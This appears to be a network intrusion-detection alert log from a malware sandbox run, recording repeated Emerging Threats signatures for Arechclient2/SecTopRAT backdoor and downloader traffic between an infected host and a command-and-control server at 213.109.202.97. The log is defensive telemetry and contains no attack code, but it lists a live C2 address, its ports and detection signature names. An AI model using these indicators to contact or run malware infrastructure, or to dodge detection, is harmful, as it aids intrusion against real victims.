2024-10-19T03:38:22.492144+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.507886+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.523351+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.540101+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.554821+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.570375+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.588212+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.602363+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.618061+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.634056+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.648579+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.666369+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.679607+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.683924+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50042	TCP
2024-10-19T03:38:22.757855+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50040	213.109.202.97	9000	TCP
2024-10-19T03:38:22.757855+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50040	213.109.202.97	9000	TCP
2024-10-19T03:38:23.788941+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50043	213.109.202.97	9000	TCP
2024-10-19T03:38:23.788941+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50043	213.109.202.97	9000	TCP
2024-10-19T03:38:24.852085+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50044	213.109.202.97	9000	TCP
2024-10-19T03:38:24.852085+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50044	213.109.202.97	9000	TCP
2024-10-19T03:38:29.195529+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50045	213.109.202.97	9000	TCP
2024-10-19T03:38:29.195529+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50045	213.109.202.97	9000	TCP
2024-10-19T03:38:30.290270+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50046	213.109.202.97	9000	TCP
2024-10-19T03:38:30.290270+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50046	213.109.202.97	9000	TCP
2024-10-19T03:38:31.213228+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50048	213.109.202.97	15647	TCP
2024-10-19T03:38:31.695710+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50047	213.109.202.97	9000	TCP
2024-10-19T03:38:31.695710+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50047	213.109.202.97	9000	TCP
2024-10-19T03:38:31.976368+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50048	213.109.202.97	15647	TCP
2024-10-19T03:38:31.985069+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50048	TCP
2024-10-19T03:38:33.085917+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50049	213.109.202.97	9000	TCP
2024-10-19T03:38:33.085917+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50049	213.109.202.97	9000	TCP
2024-10-19T03:38:35.404222+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:35.421762+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:35.436934+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.038298+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.072585+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.127874+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50051	213.109.202.97	15647	TCP
2024-10-19T03:38:36.189570+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50051	TCP
2024-10-19T03:38:37.101617+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50050	213.109.202.97	9000	TCP
2024-10-19T03:38:37.101617+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50050	213.109.202.97	9000	TCP
2024-10-19T03:38:38.085980+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50052	213.109.202.97	9000	TCP
2024-10-19T03:38:38.085980+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50052	213.109.202.97	9000	TCP
2024-10-19T03:38:39.508026+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50053	213.109.202.97	9000	TCP
2024-10-19T03:38:39.508026+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50053	213.109.202.97	9000	TCP
2024-10-19T03:38:40.586023+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50054	213.109.202.97	9000	TCP
2024-10-19T03:38:40.586023+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50054	213.109.202.97	9000	TCP
2024-10-19T03:38:41.663265+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50055	213.109.202.97	9000	TCP
2024-10-19T03:38:41.663265+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50055	213.109.202.97	9000	TCP
2024-10-19T03:38:42.650915+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50056	213.109.202.97	9000	TCP
2024-10-19T03:38:42.650915+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50056	213.109.202.97	9000	TCP
2024-10-19T03:38:45.662988+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:46.584294+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:46.584368+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:47.483506+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:47.494757+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50058	213.109.202.97	15647	TCP
2024-10-19T03:38:47.503067+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50058	TCP
2024-10-19T03:38:51.152614+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50057	213.109.202.97	9000	TCP
2024-10-19T03:38:51.152614+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50057	213.109.202.97	9000	TCP
2024-10-19T03:38:52.101804+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50059	213.109.202.97	9000	TCP
2024-10-19T03:38:52.101804+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50059	213.109.202.97	9000	TCP
2024-10-19T03:38:57.101854+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50060	213.109.202.97	9000	TCP
2024-10-19T03:38:57.101854+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50060	213.109.202.97	9000	TCP
2024-10-19T03:38:58.164959+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50061	213.109.202.97	9000	TCP
2024-10-19T03:38:58.164959+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50061	213.109.202.97	9000	TCP
2024-10-19T03:38:59.101860+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50062	213.109.202.97	9000	TCP
2024-10-19T03:38:59.101860+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50062	213.109.202.97	9000	TCP
2024-10-19T03:39:00.164901+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50063	213.109.202.97	9000	TCP
2024-10-19T03:39:00.164901+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50063	213.109.202.97	9000	TCP
2024-10-19T03:39:01.108092+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50064	213.109.202.97	9000	TCP
2024-10-19T03:39:01.108092+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50064	213.109.202.97	9000	TCP
2024-10-19T03:39:02.289405+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50065	213.109.202.97	9000	TCP
2024-10-19T03:39:02.289405+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50065	213.109.202.97	9000	TCP
2024-10-19T03:39:02.335847+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50067	213.109.202.97	15647	TCP
2024-10-19T03:39:03.010553+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50067	213.109.202.97	15647	TCP
2024-10-19T03:39:03.015624+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50067	213.109.202.97	15647	TCP
2024-10-19T03:39:03.110638+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50067	TCP
2024-10-19T03:39:03.313524+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50066	213.109.202.97	9000	TCP
2024-10-19T03:39:03.313524+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50066	213.109.202.97	9000	TCP
2024-10-19T03:39:04.289435+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50068	213.109.202.97	9000	TCP
2024-10-19T03:39:04.289435+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50068	213.109.202.97	9000	TCP
2024-10-19T03:39:05.398823+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50069	213.109.202.97	9000	TCP
2024-10-19T03:39:05.398823+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50069	213.109.202.97	9000	TCP
2024-10-19T03:39:06.410610+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50070	213.109.202.97	9000	TCP
2024-10-19T03:39:06.410610+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50070	213.109.202.97	9000	TCP
2024-10-19T03:39:07.414556+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50071	213.109.202.97	9000	TCP
2024-10-19T03:39:07.414556+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50071	213.109.202.97	9000	TCP
2024-10-19T03:39:08.383231+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50072	213.109.202.97	9000	TCP
2024-10-19T03:39:08.383231+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50072	213.109.202.97	9000	TCP
2024-10-19T03:39:09.414490+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50073	213.109.202.97	9000	TCP
2024-10-19T03:39:09.414490+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50073	213.109.202.97	9000	TCP
2024-10-19T03:39:10.415076+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50074	213.109.202.97	9000	TCP
2024-10-19T03:39:10.415076+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50074	213.109.202.97	9000	TCP
2024-10-19T03:39:11.367038+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:11.414508+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50075	213.109.202.97	9000	TCP
2024-10-19T03:39:11.414508+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50075	213.109.202.97	9000	TCP
2024-10-19T03:39:11.476284+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:12.448466+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50077	213.109.202.97	9000	TCP
2024-10-19T03:39:12.448466+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50077	213.109.202.97	9000	TCP
2024-10-19T03:39:12.666908+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:12.851412+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50076	213.109.202.97	15647	TCP
2024-10-19T03:39:13.414520+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50078	213.109.202.97	9000	TCP
2024-10-19T03:39:13.414520+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50078	213.109.202.97	9000	TCP
2024-10-19T03:39:14.586582+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50079	213.109.202.97	9000	TCP
2024-10-19T03:39:14.586582+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50079	213.109.202.97	9000	TCP
2024-10-19T03:39:14.972220+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50081	213.109.202.97	15647	TCP
2024-10-19T03:39:15.034458+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50081	213.109.202.97	15647	TCP
2024-10-19T03:39:15.780986+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50081	TCP
2024-10-19T03:39:18.617891+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50080	213.109.202.97	9000	TCP
2024-10-19T03:39:18.617891+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50080	213.109.202.97	9000	TCP
2024-10-19T03:39:19.530868+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50082	213.109.202.97	9000	TCP
2024-10-19T03:39:19.530868+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50082	213.109.202.97	9000	TCP
2024-10-19T03:39:20.602129+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50083	213.109.202.97	9000	TCP
2024-10-19T03:39:20.602129+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50083	213.109.202.97	9000	TCP
2024-10-19T03:39:20.866640+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50085	213.109.202.97	15647	TCP
2024-10-19T03:39:21.649453+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50084	213.109.202.97	9000	TCP
2024-10-19T03:39:21.649453+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50084	213.109.202.97	9000	TCP
2024-10-19T03:39:21.690306+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50085	TCP
2024-10-19T03:39:22.649326+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50086	213.109.202.97	9000	TCP
2024-10-19T03:39:22.649326+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50086	213.109.202.97	9000	TCP
2024-10-19T03:39:23.586567+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50087	213.109.202.97	9000	TCP
2024-10-19T03:39:23.586567+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50087	213.109.202.97	9000	TCP
2024-10-19T03:39:24.602176+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50088	213.109.202.97	9000	TCP
2024-10-19T03:39:24.602176+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50088	213.109.202.97	9000	TCP
2024-10-19T03:39:25.588171+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50089	213.109.202.97	9000	TCP
2024-10-19T03:39:25.588171+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50089	213.109.202.97	9000	TCP
2024-10-19T03:39:26.813789+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50090	213.109.202.97	9000	TCP
2024-10-19T03:39:26.813789+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50090	213.109.202.97	9000	TCP
2024-10-19T03:39:27.963053+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50091	213.109.202.97	9000	TCP
2024-10-19T03:39:27.963053+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50091	213.109.202.97	9000	TCP
2024-10-19T03:39:28.992980+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50092	213.109.202.97	9000	TCP
2024-10-19T03:39:28.992980+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50092	213.109.202.97	9000	TCP
2024-10-19T03:39:30.102233+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50093	213.109.202.97	9000	TCP
2024-10-19T03:39:30.102233+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50093	213.109.202.97	9000	TCP
2024-10-19T03:39:31.086624+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50094	213.109.202.97	9000	TCP
2024-10-19T03:39:31.086624+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50094	213.109.202.97	9000	TCP
2024-10-19T03:39:32.102400+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50095	213.109.202.97	9000	TCP
2024-10-19T03:39:32.102400+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50095	213.109.202.97	9000	TCP
2024-10-19T03:39:33.086996+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50096	213.109.202.97	9000	TCP
2024-10-19T03:39:33.086996+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50096	213.109.202.97	9000	TCP
2024-10-19T03:39:34.008515+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50097	213.109.202.97	9000	TCP
2024-10-19T03:39:34.008515+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50097	213.109.202.97	9000	TCP
2024-10-19T03:39:35.071577+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50098	213.109.202.97	9000	TCP
2024-10-19T03:39:35.071577+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50098	213.109.202.97	9000	TCP
2024-10-19T03:39:36.073559+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50099	213.109.202.97	9000	TCP
2024-10-19T03:39:36.073559+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50099	213.109.202.97	9000	TCP
2024-10-19T03:39:37.102454+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50100	213.109.202.97	9000	TCP
2024-10-19T03:39:37.102454+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50100	213.109.202.97	9000	TCP
2024-10-19T03:39:38.211779+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50102	213.109.202.97	9000	TCP
2024-10-19T03:39:39.227547+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50103	213.109.202.97	9000	TCP
2024-10-19T03:39:39.227547+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50103	213.109.202.97	9000	TCP
2024-10-19T03:39:40.211716+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50104	213.109.202.97	9000	TCP
2024-10-19T03:39:40.211716+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50104	213.109.202.97	9000	TCP
2024-10-19T03:39:41.180468+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50105	213.109.202.97	9000	TCP
2024-10-19T03:39:41.180468+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50105	213.109.202.97	9000	TCP
2024-10-19T03:39:42.211897+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50106	213.109.202.97	9000	TCP
2024-10-19T03:39:42.211897+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50106	213.109.202.97	9000	TCP
2024-10-19T03:39:43.249915+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50107	213.109.202.97	9000	TCP
2024-10-19T03:39:43.249915+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50107	213.109.202.97	9000	TCP
2024-10-19T03:39:44.260130+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50108	213.109.202.97	9000	TCP
2024-10-19T03:39:44.260130+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50108	213.109.202.97	9000	TCP
2024-10-19T03:39:45.211827+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50109	213.109.202.97	9000	TCP
2024-10-19T03:39:45.211827+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50109	213.109.202.97	9000	TCP
2024-10-19T03:39:46.258923+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50110	213.109.202.97	9000	TCP
2024-10-19T03:39:46.258923+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50110	213.109.202.97	9000	TCP
2024-10-19T03:39:47.211913+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50111	213.109.202.97	9000	TCP
2024-10-19T03:39:47.211913+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50111	213.109.202.97	9000	TCP
2024-10-19T03:39:48.211826+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50112	213.109.202.97	9000	TCP
2024-10-19T03:39:48.211826+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50112	213.109.202.97	9000	TCP
2024-10-19T03:39:49.195901+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50113	213.109.202.97	9000	TCP
2024-10-19T03:39:49.195901+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50113	213.109.202.97	9000	TCP
2024-10-19T03:39:50.211874+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50114	213.109.202.97	9000	TCP
2024-10-19T03:39:50.211874+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50114	213.109.202.97	9000	TCP
2024-10-19T03:39:51.274902+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50115	213.109.202.97	9000	TCP
2024-10-19T03:39:51.274902+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50115	213.109.202.97	9000	TCP
2024-10-19T03:39:56.260778+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50116	213.109.202.97	9000	TCP
2024-10-19T03:39:56.260778+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50116	213.109.202.97	9000	TCP
2024-10-19T03:39:58.413784+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50117	213.109.202.97	9000	TCP
2024-10-19T03:39:58.413784+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50117	213.109.202.97	9000	TCP
2024-10-19T03:39:59.415338+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50118	213.109.202.97	9000	TCP
2024-10-19T03:39:59.415338+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50118	213.109.202.97	9000	TCP
